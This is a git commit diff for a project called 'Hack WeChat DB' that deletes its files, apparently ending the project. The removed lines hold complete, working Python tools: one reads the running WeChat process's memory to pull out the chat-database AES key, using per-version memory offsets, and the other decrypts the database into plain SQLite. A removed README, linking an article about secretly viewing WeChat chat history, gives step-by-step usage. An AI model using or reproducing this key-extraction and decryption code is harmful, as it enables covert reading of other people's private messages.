Compare commits

...
2 Commits
Author SHA1 Message Date
Changhua b3ba05a8d9 final commit 2025-05-25 09:59:59 +08:00
Changhua f6850656e7 final commit 2025-05-25 09:59:12 +08:00
7 changed files with 1 additions and 294 deletions

No files matched your search

-5
View File
@@ -1,5 +0,0 @@
.*
!.gitignore
*.pyc
__pycache__
-56
View File
@@ -1,56 +0,0 @@
#! /usr/bin/env python3
# -*- coding: utf-8 -*-
import hmac
import ctypes
import hashlib
import argparse
from Crypto.Cipher import AES
def decrypt_msg(path, password):
KEY_SIZE = 32
DEFAULT_ITER = 64000
DEFAULT_PAGESIZE = 4096 # 4048数据 + 16IV + 20 HMAC + 12
SQLITE_FILE_HEADER = bytes("SQLite format 3", encoding="ASCII") + bytes(1) # SQLite 文件头
with open(path, "rb") as f:
# TODO: 优化,考虑超大文件
blist = f.read()
salt = blist[:16] # 前16字节为盐
key = hashlib.pbkdf2_hmac("sha1", password, salt, DEFAULT_ITER, KEY_SIZE) # 获得Key
page1 = blist[16:DEFAULT_PAGESIZE] # 丢掉salt
mac_salt = bytes([x ^ 0x3a for x in salt])
mac_key = hashlib.pbkdf2_hmac("sha1", key, mac_salt, 2, KEY_SIZE)
hash_mac = hmac.new(mac_key, digestmod="sha1")
hash_mac.update(page1[:-32])
hash_mac.update(bytes(ctypes.c_int(1)))
if hash_mac.digest() != page1[-32:-12]:
raise RuntimeError("密码错误!")
pages = [blist[i:i+DEFAULT_PAGESIZE] for i in range(DEFAULT_PAGESIZE, len(blist), DEFAULT_PAGESIZE)]
pages.insert(0, page1) # 把第一页补上
with open(f"{path}.dec.db", "wb") as f:
f.write(SQLITE_FILE_HEADER) # 写入文件头
for i in pages:
t = AES.new(key, AES.MODE_CBC, i[-48:-32])
f.write(t.decrypt(i[:-48]))
f.write(i[-48:])
if __name__ == "__main__":
parse = argparse.ArgumentParser()
parse.add_argument("-p", "--path", type=str, required=True, help="待解密数据库路径")
parse.add_argument("-k", "--key", type=str, required=True, help="通过 GetWeChatAesKey.py 获取到的密码")
args = parse.parse_args()
key = bytes.fromhex(args.key)
path = args.path
decrypt_msg(path, key)
-169
View File
@@ -1,169 +0,0 @@
#! /usr/bin/env python3
# -*- coding: utf-8 -*-
import argparse
import binascii
import os
import struct
import segno
from pymem import Pymem, pattern, process
from win32api import HIWORD, LOWORD, GetFileVersionInfo
def error():
print("请按提示排查,如仍有问题可扫描二维码联系作者")
qrcode = segno.make("http://weixin.qq.com/r/OzopMZrEuMfHrd5S928p")
qrcode.show()
exit(-1)
def getDllArch(dll_file):
"""Get DLL arch type
Adapted from: http://stackoverflow.com/a/495305/1338797
"""
with open(dll_file, "rb") as f:
doshdr = f.read(64)
magic, padding, offset = struct.unpack("2s58si", doshdr)
if magic != b"MZ":
return None
f.seek(offset, os.SEEK_SET)
pehdr = f.read(6)
# careful! H == unsigned short, x64 is negative with signed
magic, padding, machine = struct.unpack("2s2sH", pehdr)
if magic != b"PE":
return None
if machine == 0x014c:
return "i386"
if machine == 0x0200:
return "IA64"
if machine == 0x8664:
return "x64"
return "unknown"
def is64Bit(pm):
exe_arch = getDllArch(list(pm.list_modules())[0].filename)
if exe_arch == "x64":
return True
else:
return False
def getVersionBase(pm):
WeChatWindll_base = 0
WeChatWindll_path = ""
for m in list(pm.list_modules()):
path = m.filename
if path.endswith("WeChatWin.dll"):
WeChatWindll_base = m.lpBaseOfDll
WeChatWindll_path = path
break
if not WeChatWindll_path:
print("获取版本失败,请确认本系统是否成功安装了微信!")
error()
version = GetFileVersionInfo(WeChatWindll_path, "\\")
msv = version['FileVersionMS']
lsv = version['FileVersionLS']
version = f"{str(HIWORD(msv))}.{str(LOWORD(msv))}.{str(HIWORD(lsv))}.{str(LOWORD(lsv))}"
return version, WeChatWindll_base
def getOffsetByWxNum(pm, id):
"""Get Key offset by WeChat Number
Tested with
3.9.5.91 (64bit)
3.9.7.29 (64bit)
3.9.8.15 (64bit)
3.9.5.80 (32bit)
3.9.2.23 (32bit)
"""
bytes_pattern = bytearray()
bytes_pattern.extend(map(ord, id))
id_pattern = bytes(bytes_pattern)
wechatwindll_module = process.module_from_name(pm.process_handle, "WeChatWin.dll")
wechat_id_addrs = pattern.pattern_scan_module(
pm.process_handle, wechatwindll_module, id_pattern, return_multiple=True)
if wechat_id_addrs == None or len(wechat_id_addrs) != 2:
print(f"未能寻获微信账号: {id}")
error()
return wechat_id_addrs[1] - (64 if is64Bit(pm) else 36)
def getAesKey(pm, base, offset):
try:
if is64Bit(pm):
result = pm.read_bytes(base + offset, 8) # 读取 AES Key 的地址
addr = struct.unpack("<Q", result)[0] # 地址为小端 8 字节整型
else:
result = pm.read_bytes(base + offset, 4) # 读取 AES Key 的地址
addr = struct.unpack("<I", result)[0] # 地址为小端 4 字节整型
aesKey = pm.read_bytes(addr, 0x20) # 读取 AES Key
result = binascii.b2a_hex(aesKey) # 解码
except Exception as e:
print(f"{e}")
print(f"请确认微信已经登录!")
error()
return result.decode()
AESKEY_OFFSETS = {
"3.3.0.115": 0x1DDF914,
"3.3.5.34": 0x1D2FB34,
"3.6.0.18": 0x222EFE4,
"3.7.0.29": 0x2363524,
"3.7.0.30": 0x2366524,
"3.7.5.23": 0x242413C,
"3.8.1.26": 0x2C429FC,
"3.9.0.28": 0x2E2D1AC,
"3.9.2.23": 0x2FFD90C,
}
AESKEY_OFFSETS_64 = {
"3.9.5.91": 0x3ACCC70
}
if __name__ == "__main__":
try:
pm = Pymem("WeChat.exe")
except Exception as e:
print(f"{e},请确认微信程序已经打开并登录!")
error()
ap = argparse.ArgumentParser()
ap.add_argument("-i", "--id", required=False, help="微信号,通过微信号来获取密钥偏移")
args = vars(ap.parse_args())
version, base = getVersionBase(pm)
print(f"微信版本:{version} " + ("(64bit)" if is64Bit(pm) else "(32bit)"))
print(f"微信基址:{hex(base)}")
wechatid = args["id"]
if wechatid != None:
print(f"使用微信账号 {wechatid} 搜索")
offset = getOffsetByWxNum(pm, wechatid) - base
else:
if is64Bit(pm):
offset = AESKEY_OFFSETS_64.get(version, None)
else:
offset = AESKEY_OFFSETS.get(version, None)
if not offset:
print(f"暂不支持版本 {version},请联系作者。")
error()
print(f"偏移地址:{hex(offset)}")
aesKey = getAesKey(pm, base, offset)
print(f"数据库密钥:{aesKey}")
-21
View File
@@ -1,21 +0,0 @@
MIT License
Copyright (c) 2022 Changhua
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
+1 -38
View File
@@ -1,40 +1,3 @@
# Hack WeChat DB
[偷偷查看微信聊天记录](https://mp.weixin.qq.com/s/nckZTQ0leQLz27vUv4KfGg) 对应的代码。
**⚠️ 仅作技术研究,请勿违法犯罪;也不要将自己的密码和数据库提供给他人,以免隐私受损。**
## 使用方法
### 安装依赖
```sh
pip install -r requirements.txt
```
### 获取密钥
两种方法,一种需要输入微信号;一种需要指定微信版本。
#### 1 通过微信号
感谢 @sanpee 的 [PR](https://github.com/lich0821/WeChatDB/pull/6),可以无视版本。
```sh
python GetWeChatAesKey.py --id 当前登录的微信号
```
#### 2 直接运行
如果当前微信版本在 `AESKEY_OFFSETS` 或者 `AESKEY_OFFSETS_64` 中(见 [GetWeChatAesKey.py](GetWeChatAesKey.py)),直接运行即可。
```sh
python GetWeChatAesKey.py
```
### 解密数据库
```sh
python CrackWeChatDB.py -p 数据库的完整路径 -k 刚才获取到的密钥
```
解密的数据库在原路径下,以 `.dec.db` 结尾。
欢迎交流:
<center>
![碲矿](碲矿.jpeg)
</center>
因不可抗因素,项目停止维护。
-5
View File
@@ -1,5 +0,0 @@
segno
pycryptodome
pymem
pywin32
argparse
BIN
View File
Binary file not shown.

Before

Width:  |  Height:  |  Size: 39 KiB